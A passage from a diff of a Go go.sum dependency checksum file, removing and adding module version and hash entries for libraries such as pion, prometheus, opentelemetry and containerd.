h1:rd5oAuLOb8mnAycB0xleuEBNS1pVVnN0fv/FF34Eypg= -github.com/nats-io/nkeys v0.4.16/go.mod h1:llLgWoI0o4z/Q57q2R1kHfmocyhGV6VG/U18Glg1Afs= -github.com/nats-io/nuid v1.0.1 h1:5iA8DT8V7q8WK2EScv2padNa/rTESc1KdnPw4TC2paw= -github.com/nats-io/nuid v1.0.1/go.mod h1:19wcPz3Ph3q0Jbyiqsd0kePYG7A95tJPxeL+1OSON2c= -github.com/nyaruka/phonenumbers v1.8.1 h1:2K9YMQuv1dCGqjjzB1DwmdCe89khT4KPBQb2CxAMMlU= -github.com/nyaruka/phonenumbers v1.8.1/go.mod h1:fsKPJ70O9JetEA4ggnJadYTFWwtGPvu/lETTXNXq6Cs= -github.com/opencontainers/go-digest v1.0.0 h1:apOUWs51W5PlhuyGyz9FCeeBIOUDA/6nW8Oi/yOhh5U= -github.com/opencontainers/go-digest v1.0.0/go.mod h1:0JzlMkj0TRzQZfJkVvzbP0HBR3IKzErnv2BNG4W4MAM= -github.com/opencontainers/image-spec v1.1.1 h1:y0fUlFfIZhPF1W537XOLg0/fcx6zcHCJwooC2xJA040= -github.com/opencontainers/image-spec v1.1.1/go.mod h1:qpqAh3Dmcf36wStyyWU+kCeDgrGnAve2nCC8+7h8Q0M= -github.com/opencontainers/runc v1.3.3 h1:qlmBbbhu+yY0QM7jqfuat7M1H3/iXjju3VkP9lkFQr4= -github.com/opencontainers/runc v1.3.3/go.mod h1:D7rL72gfWxVs9cJ2/AayxB0Hlvn9g0gaF1R7uunumSI= -github.com/ory/dockertest/v3 v3.12.0 h1:3oV9d0sDzlSQfHtIaB5k6ghUCVMVLpAY8hwrqoCyRCw= -github.com/ory/dockertest/v3 v3.12.0/go.mod h1:aKNDTva3cp8dwOWwb9cWuX84aH5akkxXRvO7KCwWVjE= -github.com/ory/dockertest/v4 v4.0.0 h1:i19aFsO/VXE0VrMk4ifnKW4G/KIJ93PCjLOslxXoPME= -github.com/ory/dockertest/v4 v4.0.0/go.mod h1:b5Ofu8VIxWNhXFvQcLu17pRNQdoUBKtXBW74G4Ygzx8= -github.com/petermattis/goid v0.0.0-20260725062400-500c67a39b75 h1:VmZ6mKVkxavKEhEy4ZYyV7BwBYBFBP0TwIqmLk84fpU= -github.com/petermattis/goid v0.0.0-20260725062400-500c67a39b75/go.mod h1:pxMtw7cyUw6B2bRH0ZBANSPg+AoSud1I1iyJHI69jH4= -github.com/pion/datachannel v1.6.2 h1:7EXQ8TH3vTouBUdRWYbcX2edSx9Yj6k5zl5P+qyxEPc= -github.com/pion/datachannel v1.6.2/go.mod h1:pzbdAZvyGtXbcHM1hBbsFaOTf40lZizU/dNlvVOak6E= -github.com/pion/dtls/v3 v3.1.5 h1:9xJtVsHwMYeSjPp5Hh1FTis4DchnQWtnOa5o+6ygqfc= -github.com/pion/dtls/v3 v3.1.5/go.mod h1:gz1K4jg6c+fq86oQMH4pilpCEOEPwmEr2jY+VcF/mkU= -github.com/pion/ice/v4 v4.4.0 h1:wvHDDqimaC38Y7MVpD46Y63p246ChvXd87VKoLYS5b4= -github.com/pion/ice/v4 v4.4.0/go.mod h1:obAyD+J+Hzs7QA7Y8YXHp5uIn6gb7z87pKedXZkrcFU= -github.com/pion/interceptor v0.1.47 h1:yw8t5pJ2f8t78NgU+8EmxhaqYLXS7uFCC/tAGOaSDBo= -github.com/pion/interceptor v0.1.47/go.mod h1:7yoRBzaIDETPC6cIN8Zj9EyGqHv1ImOpcTFPha6MuOM= -github.com/pion/logging v0.2.4 h1:tTew+7cmQ+Mc1pTBLKH2puKsOvhm32dROumOZ655zB8= -github.com/pion/logging v0.2.4/go.mod h1:DffhXTKYdNZU+KtJ5pyQDjvOAh/GsNSyv1lbkFbe3so= -github.com/pion/mdns/v2 v2.1.0 h1:3IJ9+Xio6tWYjhN6WwuY142P/1jA0D5ERaIqawg/fOY= -github.com/pion/mdns/v2 v2.1.0/go.mod h1:pcez23GdynwcfRU1977qKU0mDxSeucttSHbCSfFOd9A= -github.com/pion/randutil v0.1.0 h1:CFG1UdESneORglEsnimhUjf33Rwjubwj6xfiOXBa3mA= -github.com/pion/randutil v0.1.0/go.mod h1:XcJrSMMbbMRhASFVOlj/5hQial/Y8oH/HVo7TBZq+j8= -github.com/pion/rtcp v1.2.17 h1:PxiT6L79yPZKtXIsXdG1eakBl6dtBj4x+4oVEL0DlSw= -github.com/pion/rtcp v1.2.17/go.mod h1:7kBpuBJaWwax4hzc/pgexY8vkOpvh8atgYDbaKZq0iU= -github.com/pion/rtp v1.10.5 h1:ip0HhO/wYZqQ4bKS+R99KnZh/GRCmIT0jDXikub7vlE= -github.com/pion/rtp v1.10.5/go.mod h1:Au8fc6cEByy8RLTwKTQTEeQqDB/SJDxwL4mZuxYA5Pk= -github.com/pion/sctp v1.11.1 h1:O4dIFyURw1KTST7w+gtD4gLeYXkhPa0xXLHMMoe/OSA= -github.com/pion/sctp v1.11.1/go.mod h1:7KFmTwLcoYgJs/Z+99nJvsWL0qDpuyloSI0RbAqlrz0= -github.com/pion/sdp/v3 v3.0.19 h1:1VMKs3gIkTQV5M3hNKfTAPrDXSNrYtOlmOD8+mSZUGQ= -github.com/pion/sdp/v3 v3.0.19/go.mod h1:dE5WOSlzXrtiE/iuZqe9n+AcEbOjtAd3k5m5NtlV/qU= -github.com/pion/srtp/v3 v3.0.12 h1:U7V17bckl7sI4mb3sepiojByDuBY0wNCqQE+6IlQBbc= -github.com/pion/srtp/v3 v3.0.12/go.mod h1:EeZOi/sd6glM1EXapg051gdNWO9yWT1YSsgQ4SlJkns= -github.com/pion/stun/v3 v3.1.6 h1:WnhsD0eHCiwCfKNkVx0VJJwr2Y3eV4Ueih3KJ+dfZy8= -github.com/pion/stun/v3 v3.1.6/go.mod h1:zRUghXSQU32Lx5orJsz3uYMkIihweXb3mu5gIns02fs= -github.com/pion/transport/v3 v3.1.1 h1:Tr684+fnnKlhPceU+ICdrw6KKkTms+5qHMgw6bIkYOM= -github.com/pion/transport/v3 v3.1.1/go.mod h1:+c2eewC5WJQHiAA46fkMMzoYZSuGzA/7E2FPrOYHctQ= -github.com/pion/transport/v4 v4.0.2 h1:ifYlPqNwsy6aKQ9y8yzxXlHae5431ZrH2avkD/Rn6Tk= -github.com/pion/transport/v4 v4.0.2/go.mod h1:06hFI+jCFcok2X2MekVufNZ/uzNZXivGBPfviSVcjgM= -github.com/pion/turn/v5 v5.0.12 h1:6+b69ivQQXSlyfkp2AKripqD2k3W32qXK8QzCzpJWPI= -github.com/pion/turn/v5 v5.0.12/go.mod h1:CQACsRDJtjQ+6RSrGHrS2PCIerLwbW3uqXRqOvtjAFg= -github.com/pion/webrtc/v4 v4.2.18 h1:smA/3g6Gy4RohM0VIZ5KKY/12TQbxv3XFgpUMyb2EUI= -github.com/pion/webrtc/v4 v4.2.18/go.mod h1:vmzi6s+rvhoIuT94DPqivB+0xJXs9rG4QRD+4MgBtlY= -github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= -github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= -github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= -github.com/prometheus/client_golang v1.24.1 h1:JnJkREXzWxUdCuPFpIWZiPispT9xVV59uiuyR2bPlnU= -github.com/prometheus/client_golang v1.24.1/go.mod h1:F+oSRECHg4sse5ucfYpYDeIv/hu68Zo0uoHKetWnzcE= -github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNwqPLxwZyk= -github.com/prometheus/client_model v0.6.2/go.mod h1:y3m2F6Gdpfy6Ut/GBsUqTWZqCUvMVzSfMLjcu6wAwpE= -github.com/prometheus/common v0.70.1 h1:1HvjP4D5oL3t8RsPlwxA9onvvStjtIHYE5XuuwOi/PY= -github.com/prometheus/common v0.70.1/go.mod h1:VdFUQDMZK3VLkurFUVhia6uys/0suUp86TJz5qbJRhc= -github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+OJI= -github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY= -github.com/puzpuzpuz/xsync/v4 v4.5.0 h1:vOSWu6b57/emh+L/Cw0BeQfvxa/cogFywXHeGUxQxAg= -github.com/puzpuzpuz/xsync/v4 v4.5.0/go.mod h1:VJDmTCJMBt8igNxnkQd86r+8KUeN1quSfNKu5bLYFQo= -github.com/redis/go-redis/v9 v9.22.0 h1:laDvpYXTJtZLloinw1fA5Kqd6HAEH2XKxOkG/PDq2F0= -github.com/redis/go-redis/v9 v9.22.0/go.mod h1:y2g0Wj8rQvuK0ELM+oxSudcLtC09JScs98I/X9gRWY4= -github.com/rodaine/protogofakeit v0.1.1 h1:ZKouljuRM3A+TArppfBqnH8tGZHOwM/pjvtXe9DaXH8= -github.com/rodaine/protogofakeit v0.1.1/go.mod h1:pXn/AstBYMaSfc1/RqH3N82pBuxtWgejz1AlYpY1mI0= -github.com/rogpeppe/go-internal v1.15.0 h1:D0RCU5rMAp+SpgkiNdrjfJ+LX4J1M32V2NeCY7EJ6hc= -github.com/rogpeppe/go-internal v1.15.0/go.mod h1:DrUVZyrJU+txYW5/1kwtXQSMFio52ZOxX7yM1VHvnxs= -github.com/shoenig/test v1.7.0 h1:eWcHtTXa6QLnBvm0jgEabMRN/uJ4DMV3M8xUGgRkZmk= -github.com/shoenig/test v1.7.0/go.mod h1:UxJ6u/x2v/TNs/LoLxBNJRV9DiwBBKYxXSyczsBHFoI= -github.com/sirupsen/logrus v1.9.4 h1:TsZE7l11zFCLZnZ+teH4Umoq5BhEIfIzfRDZ1Uzql2w= -github.com/sirupsen/logrus v1.9.4/go.mod h1:ftWc9WdOfJ0a92nsE2jF5u5ZwH8Bv2zdeOC42RjbV2g= -github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= -github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= -github.com/stretchr/testify v1.12.0 h1:K6Mr6jO9JICuend/5xzTM03ydSV3vdNRYAdPSukj8uI= -github.com/stretchr/testify v1.12.0/go.mod h1:bOYBZb5qJ00vPzWfIqBUZPaxK8jWiXc6d3ErP4Ca9Gw= -github.com/twitchtv/twirp v8.1.3+incompatible h1:+F4TdErPgSUbMZMwp13Q/KgDVuI7HJXP61mNV3/7iuU= -github.com/twitchtv/twirp v8.1.3+incompatible/go.mod h1:RRJoFSAmTEh2weEqWtpPE3vFK5YBhA6bqp2l1kfCC5A= -github.com/urfave/cli/v3 v3.9.0 h1:AV9lIiPv3ukYnxunaCUsHnEozptYmDN2F0+yWqLMn/c= -github.com/urfave/cli/v3 v3.9.0/go.mod h1:ysVLtOEmg2tOy6PknnYVhDoouyC/6N42TMeoMzskhso= -github.com/wlynxg/anet v0.0.5 h1:J3VJGi1gvo0JwZ/P1/Yc/8p63SoW98B5dHkYDmpgvvU= -github.com/wlynxg/anet v0.0.5/go.mod h1:eay5PRQr7fIVAMbTbchTnO9gG65Hg/uYGdc7mguHxoA= -github.com/xeipuuv/gojsonpointer v0.0.0-20180127040702-4e3ac2762d5f/go.mod h1:N2zxlSyiKSe5eX1tZViRH5QA0qijqEDrYZiPEAiq3wU= -github.com/xeipuuv/gojsonpointer v0.0.0-20190905194746-02993c407bfb h1:zGWFAtiMcyryUHoUjUJX0/lt1H2+i2Ka2n+D3DImSNo= -github.com/xeipuuv/gojsonpointer v0.0.0-20190905194746-02993c407bfb/go.mod h1:N2zxlSyiKSe5eX1tZViRH5QA0qijqEDrYZiPEAiq3wU= -github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415 h1:EzJWgHovont7NscjpAxXsDA8S8BMYve8Y5+7cuRE7R0= -github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415/go.mod h1:GwrjFmJcFw6At/Gs6z4yjiIwzuJ1/+UwLxMQDVQXShQ= -github.com/xeipuuv/gojsonschema v1.2.0 h1:LhYJRs+L4fBtjZUfuSZIKGeVu0QRy8e5Xi7D17UxZ74= -github.com/xeipuuv/gojsonschema v1.2.0/go.mod h1:anYRn/JVcOK2ZgGU+IjEV4nwlhoK5sQluxsYJ78Id3Y= -github.com/zeebo/assert v1.3.0 h1:g7C04CbJuIDKNPFHmsk4hwZDO5O+kntRxzaUoNXj+IQ= -github.com/zeebo/assert v1.3.0/go.mod h1:Pq9JiuJQpG8JLJdtkwrJESF0Foym2/D9XMU5ciN/wJ0= -github.com/zeebo/xxh3 v1.1.0 h1:s7DLGDK45Dyfg7++yxI0khrfwq9661w9EN78eP/UZVs= -github.com/zeebo/xxh3 v1.1.0/go.mod h1:IisAie1LELR4xhVinxWS5+zf1lA4p0MW4T+w+W07F5s= -go.opentelemetry.io/auto/sdk v1.2.1 h1:jXsnJ4Lmnqd11kwkBV2LgLoFMZKizbCi5fNZ/ipaZ64= -go.opentelemetry.io/auto/sdk v1.2.1/go.mod h1:KRTj+aOaElaLi+wW1kO/DZRXwkF4C5xPbEe3ZiIhN7Y= -go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.69.0 h1:8tvICD4vSTOOsNrsI4Ljf6C+6UKvpTEH5XY3JMoyPoo= -go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.69.0/go.mod h1:z9+yiacE0IHRqM4qFfkbt/JYlmYXgss8GY/jXoNuPJI= -go.opentelemetry.io/otel v1.44.0 h1:JjwHmHpA4iZ3wBxluu2fbbE7j4kqlE8jXyAyPXH7HqU= -go.opentelemetry.io/otel v1.44.0/go.mod h1:BMgjTHL9WPRlRjL2oZCBTL4whCGtXch2H4BhOPIAyYc= -go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.44.0 h1:4YsVu3B8+3qtWYYrsUYgn0OG78pN0rnNPRGX4SbokQI= -go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.44.0/go.mod h1:+wnlSn0mD1ADVMe3v9Z/WIaiz6q6gL2J/ejaAmdmv80= -go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.44.0 h1:lgh3PiVrRUWMLOVSkQicxzZll5NjF1r+AtsX1XRIHw0= -go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.44.0/go.mod h1:5Cnhth3m/AgOeTgE3ex12pPmiu/gGtZit03kSzx9X7s= -go.opentelemetry.io/otel/metric v1.44.0 h1:1w0gILTcHdr3YI+ixLyjemwrVnsMURbTZFrSYCdDdmc= -go.opentelemetry.io/otel/metric v1.44.0/go.mod h1:8O7hanEPBNgEMmybD3s2VBKcgWOCsA6tzHBPODAiquo= -go.opentelemetry.io/otel/sdk v1.44.0 h1:nHYwb9lK+fJPU/dnT6s7W7Z8itMWyqrnVfbheVYrZ58= -go.opentelemetry.io/otel/sdk v1.44.0/go.mod h1:Osuydd3Se74nqjAKxid74N5eC+jfEqfTegHRnq58oK0= -go.opentelemetry.io/otel/sdk/metric v1.44.0 h1:3LlKgI+VjbVsjNRFZJZAJ30WjXC5VkNRks6si09iEfI= -go.opentelemetry.io/otel/sdk/metric v1.44.0/go.mod h1:5B5pMARnXxKhltooO4xUuCBorl65a4EpnTalObqOigA= -go.opentelemetry.io/otel/trace v1.44.0 h1:jxF5CsGYCe74MCRx2X4g7WsY/VBKRqqpNvXlX/6gtIk= -go.opentelemetry.io/otel/trace v1.44.0/go.mod h1:oLl1jrMQAVo6v3GAggN+1VH9VIz9iUSvW53sW1Q8PIE= -go.opentelemetry.io/proto/otlp v1.10.0 h1:IQRWgT5srOCYfiWnpqUYz9CVmbO8bFmKcwYxpuCSL2g= -go.opentelemetry.io/proto/otlp v1.10.0/go.mod h1:/CV4QoCR/S9yaPj8utp3lvQPoqMtxXdzn7ozvvozVqk= -go.uber.org/atomic v1.11.0 h1:ZvwS0R+56ePWxUNi+Atn9dWONBPp/AUETXlHW0DxSjE= -go.uber.org/atomic v1.11.0/go.mod h1:LUxbIzbOniOlMKjJjyPfpl4v+PKK2cNJn91OQbhoJI0= -go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto= -go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE= -go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0= -go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y= -go.uber.org/zap v1.28.0 h1:IZzaP1Fv73/T/pBMLk4VutPl36uNC+OSUh3JLG3FIjo= -go.uber.org/zap v1.28.0/go.mod h1:rDLpOi171uODNm/mxFcuYWxDsqWSAVkFdX4XojSKg/Q= -go.uber.org/zap/exp v0.3.0 h1:6JYzdifzYkGmTdRR59oYH+Ng7k49H9qVpWwNSsGJj3U= -go.uber.org/zap/exp v0.3.0/go.mod h1:5I384qq7XGxYyByIhHm6jg5CHkGY0nsTfbDLgDDlgJQ= -go.yaml.in/yaml/v2 v2.4.4 h1:tuyd0P+2Ont/d6e2rl3be67goVK4R6deVxCUX5vyPaQ= -go.yaml.in/yaml/v2 v2.4.4/go.mod h1:gMZqIpDtDqOfM0uNfy0SkpRhvUryYH0Z6wdMYcacYXQ= -go.yaml.in/yaml/v3 v3.0.5 h1:N6y/pJk8buWs9NY5ERU2HSMfm+IuD/OtfdAnq6kESPw= -go.yaml.in/yaml/v3 v3.0.5/go.mod h1:HVTZu1O7/Vkt2N+BFy8Zza+lnLsABggaTM2ZpNIGuKg= -golang.org/x/crypto v0.54.0 h1:YLIA59K4fiNzHzjnZt2tUJQjQtUWfWbeHBqKtk3eScw= -golang.org/x/crypto v0.54.0/go.mod h1:KWL8ny2AZdGR2cWmzeHrp2azQPGogOv+HeQaVEXC2dk= -golang.org/x/exp v0.0.0-20260603202125-055de637280b h1:v1uXiEBHo8QA0LiGCo7UgHMzHT4Kdfpl2zmtH5vaP1Q= -golang.org/x/exp v0.0.0-20260603202125-055de637280b/go.mod h1:d2fgXJLVs4dYDHUk5lwMIfzRzSrWCfGZb0ZqeLa/Vcw= -golang.org/x/net v0.57.0 h1:K5+3DljvIuDG9/Jv9rvyMywYNFCQ9RSUY6OOTTkT+tE= -golang.org/x/net v0.57.0/go.mod h1:KpXc8iv+r3XplLAG/f7Jsf9RPszJzdR0f58q9vGOuEU= -golang.org/x/sync v0.22.0 h1:SZjpbeLmrCk4xhRSZFNZW5gFUeCeFgjekvI/+gfScek= -golang.org/x/sync v0.22.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0= -golang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs= -golang.org/x/sys v0.47.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= -golang.org/x/text v0.40.0 h1:Ub2Z6/xjgF1WrYQz2nuITOEegKFtiIy+rieRJ5lHZKs= -golang.org/x/text v0.40.0/go.mod h1:hpnzDAfGV753zIKo+wk3u1bVKCGPbrnF7+7LBF/UHVY= -golang.org/x/time v0.15.0 h1:bbrp8t3bGUeFOx08pvsMYRTCVSMk89u4tKbNOZbp88U= -golang.org/x/time v0.15.0/go.mod h1:Y4YMaQmXwGQZoFaVFk4YpCt4FLQMYKZe9oeV/f4MSno= -gonum.org/v1/gonum v0.17.0 h1:VbpOemQlsSMrYmn7T2OUvQ4dqxQXU+ouZFQsZOx50z4= -gonum.org/v1/gonum v0.17.0/go.mod h1:El3tOrEuMpv2UdMrbNlKEh9vd86bmQ6vqIcDwxEOc1E= -google.golang.org/genproto/googleapis/api v0.0.0-20260526163538-3dc84a4a5aaa h1:Kjn0N0tCrDgiAFW+lGO4JZ3ck44CehvJQMAwj9QF0G8= -google.golang.org/genproto/googleapis/api v0.0.0-20260526163538-3dc84a4a5aaa/go.mod h1:q4lMZS6kskjT5HvCPrnnypcDPVJqT/f4nfxmkE7gryY= -google.golang.org/genproto/googleapis/rpc v0.0.0-20260526163538-3dc84a4a5aaa h1:mZHHdPZl0dbGHCflZgAq/Q468DWVFcU2whhB2KAo8fk= -google.golang.org/genproto/googleapis/rpc v0.0.0-20260526163538-3dc84a4a5aaa/go.mod h1:4Hqkh8ycfw05ld/3BWL7rJOSfebL2Q+DVDeRgYgxUU8= -google.golang.org/grpc v1.83.1 h1:HIO0+BEtBP6soyqvqC8sNUjZ7bTs+0hFQuFF+RAy++Y= -google.golang.org/grpc v1.83.1/go.mod h1:kDyl6SKsiHKt0uylY5gtn5cEjkrIOhQOGDgIc4JGwzQ= -google.golang.org/protobuf v1.36.12 h1:pJOKDDOyeXErUroCihFAd5LQuwXBSpVnKGrj5o/fwxc= -google.golang.org/protobuf v1.36.12/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco= -gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= -gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= -gopkg.in/hraban/opus.v2 v2.0.0-20230925203106-0188a62cb302 h1:xeVptzkP8BuJhoIjNizd2bRHfq9KB9HfOLZu90T04XM= -gopkg.in/hraban/opus.v2 v2.0.0-20230925203106-0188a62cb302/go.mod h1:/L5E7a21VWl8DeuCPKxQBdVG5cy+L0MRZ08B1wnqt7g= -gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= -gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= -gotest.tools/v3 v3.5.2 h1:7koQfIKdy+I8UTetycgUqXWSDwpgv193Ka+qRsmBY8Q= -gotest.tools/v3 v3.5.2/go.mod h1:LtdLGcnqToBH83WByAAi/wiwSFCArdFIUV/xxN4pcjA= -pgregory.net/rapid v1.2.0 h1:keKAYRcjm+e1F0oAuU5F5+YPAWcyxNNRK2wud503Gnk= -pgregory.net/rapid v1.2.0/go.mod h1:PY5XlDGj0+V1FCq0o192FdRhpKHGTRIWBgqjDBTrq04= +buf.build/gen/go/bufbuild/protovalidate/protocolbuffers/go v1.36.11-20260415201107-50325440f8f2.1 h1:s6hzCXtND/ICdGPTMGk7C+/BFlr2Jg5GyH0NKf4XGXg= +buf.build/gen/go/bufbuild/protovalidate/protocolbuffers/go v1.36.11-20260415201107-50325440f8f2.1/go.mod h1:tvtbpgaVXZX4g6Pn+AnzFycuRK3MOz5HJfEGeEllXYM= +buf.build/go/protovalidate v1.2.0 h1:DQVrUWkmGTBij+kOYv/x2LLxwcLaGKMdzShj1/6/3H0= +buf.build/go/protovalidate v1.2.0/go.mod h1:7rYiQEhqvAipoazpVNBBH2S2f8bjG4huMVy1V2Yofn4= +buf.build/go/protoyaml v0.7.0 h1:z4oVoFicbpPefhT7WAykxUdfp0yEQlhMQ2mCZOY5V38= +buf.build/go/protoyaml v0.7.0/go.mod h1:+a0cavd0uMvirb87xdu2ZMMmjlIQoiH/N2Ich5MGSQ0= +cel.dev/expr v0.25.2 h1:K6j46C81hXtZQfuX60cVWQFBJahKSE2gfRbNuvr5bFs= +cel.dev/expr v0.25.2/go.mod h1:hrXvqGP6G6gyx8UAHSHJ5RGk//1Oj5nXQ2NI02Nrsg4= +dario.cat/mergo v1.0.0 h1:AGCNq9Evsj31mOgNPcLyXc+4PNABt905YmuqPYYpBWk= +dario.cat/mergo v1.0.0/go.mod h1:uNxQE+84aUszobStD9th8a29P2fMDhsBdgRYvZOxGmk= +filippo.io/edwards25519 v1.1.0 h1:FNf4tywRC1HmFuKW5xopWpigGjJKiJSV0Cqo0cJWDaA= +filippo.io/edwards25519 v1.1.0/go.mod h1:BxyFTGdWcka3PhytdK4V28tE5sGfRvvvRV7EaN4VDT4= +github.com/Azure/go-ansiterm v0.0.0-20250102033503-faa5f7b0171c h1:udKWzYgxTojEKWjV8V+WSxDXJ4NFATAsZjh8iIbsQIg= +github.com/Azure/go-ansiterm v0.0.0-20250102033503-faa5f7b0171c/go.mod h1:xomTg63KZ2rFqZQzSB4Vz2SUXa1BpHTVz9L5PTmPC4E= +github.com/Microsoft/go-winio v0.6.3-0.20251027160822-ad3df93bed29 h1:0kQAzHq8vLs7Pptv+7TxjdETLf/nIqJpIB4oC6Ba4vY= +github.com/Microsoft/go-winio v0.6.3-0.20251027160822-ad3df93bed29/go.mod h1:ZWa7ssZJT30CCDGJ7fk/2SBTq9BIQrrVjrcss0UW2s0= +github.com/Nvveen/Gotty v0.0.0-20120604004816-cd527374f1e5 h1:TngWCqHvy9oXAN6lEVMRuU21PR1EtLVZJmdB18Gu3Rw= +github.com/Nvveen/Gotty v0.0.0-20120604004816-cd527374f1e5/go.mod h1:lmUJ/7eu/Q8D7ML55dXQrVaamCz2vxCfdQBasLZfHKk= +github.com/antlr4-go/antlr/v4 v4.13.1 h1:SqQKkuVZ+zWkMMNkjy5FZe5mr5WURWnlpmOuzYWrPrQ= +github.com/antlr4-go/antlr/v4 v4.13.1/go.mod h1:GKmUxMtwp6ZgGwZSva4eWPC5mS6vUAmOABFgjdkM7Nw= +github.com/at-wat/ebml-go v0.18.0 h1:SNkpBFR4jCQV1rI4Bm1tSuIYnusxe2qQ4GHJia9eQg4= +github.com/at-wat/ebml-go v0.18.0/go.mod h1:w1cJs7zmGsb5nnSvhWGKLCxvfu4FVx5ERvYDIalj1ww= +github.com/benbjohnson/clock v1.3.5 h1:VvXlSJBzZpA/zum6Sj74hxwYI2DIxRWuNIoXAzHZz5o= +github.com/benbjohnson/clock v1.3.5/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA= +github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= +github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= +github.com/bep/debounce v1.2.1 h1:v67fRdBA9UQu2NhLFXrSg0Brw7CexQekrBwDMM8bzeY= +github.com/bep/debounce v1.2.1/go.mod h1:H8yggRPQKLUhUoqrJC1bO2xNya7vanpDl7xR3ISbCJ0= +github.com/brianvoe/gofakeit/v6 v6.28.0 h1:Xib46XXuQfmlLS2EXRuJpqcw8St6qSZz75OUo0tgAW4= +github.com/brianvoe/gofakeit/v6 v6.28.0/go.mod h1:Xj58BMSnFqcn/fAQeSK+/PLtC5kSb7FJIq4JyGa8vEs= +github.com/bsm/ginkgo/v2 v2.12.0 h1:Ny8MWAHyOepLGlLKYmXG4IEkioBysk6GpaRTLC8zwWs= +github.com/bsm/ginkgo/v2 v2.12.0/go.mod h1:SwYbGRRDovPVboqFv0tPTcG1sN61LM1Z4ARdbAV9g4c= +github.com/bsm/gomega v1.27.10 h1:yeMWxP2pV2fG3FgAODIY8EiRE3dy0aeFYt4l7wh6yKA= +github.com/bsm/gomega v1.27.10/go.mod h1:JyEr/xRbxbtgWNi8tIEVPUYZ5Dzef52k01W3YH0H+O0= +github.com/cenkalti/backoff/v4 v4.3.0 h1:MyRJ/UdXutAwSAT+s3wNd7MfTIcy71VQueUuFK343L8= +github.com/cenkalti/backoff/v4 v4.3.0/go.mod h1:Y3VNntkOUPxTVeUxJ/G5vcM//AlwfmyYozVcomhLiZE= +github.com/cenkalti/backoff/v5 v5.0.3 h1:ZN+IMa753KfX5hd8vVaMixjnqRZ3y8CuJKRKj1xcsSM= +github.com/cenkalti/backoff/v5 v5.0.3/go.mod h1:rkhZdG3JZukswDf7f0cwqPNk4K0sa+F97BxZthm/crw= +github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs= +github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= +github.com/containerd/continuity v0.5.0 h1:7a85HZpCSs+1Zps0Ee3DPSuAWY+0SJM1JNM51nlEVDg= +github.com/containerd/continuity v0.5.0/go.mod h1:/lNJvtJKUQStBzpVQ1+rasXO1LAWtUQssk28EZvJ3nE= +github.com/containerd/errdefs v1.0.0 h1:tg5yIfIlQIrxYtu9ajqY42W3lpS19XqdxRQeEwYG8PI= +github.com/containerd/errdefs v1.0.0/go.mod h1:+YBYIdtsnF4Iw6nWZhJcqGSg/dwvV7tyJ/kCkyJ2k+M= +github.com/containerd/errdefs/pkg v0.3.0 h1:9IKJ06FvyNlexW690DXuQNx2KA2cUJXx151Xdx3ZPPE= 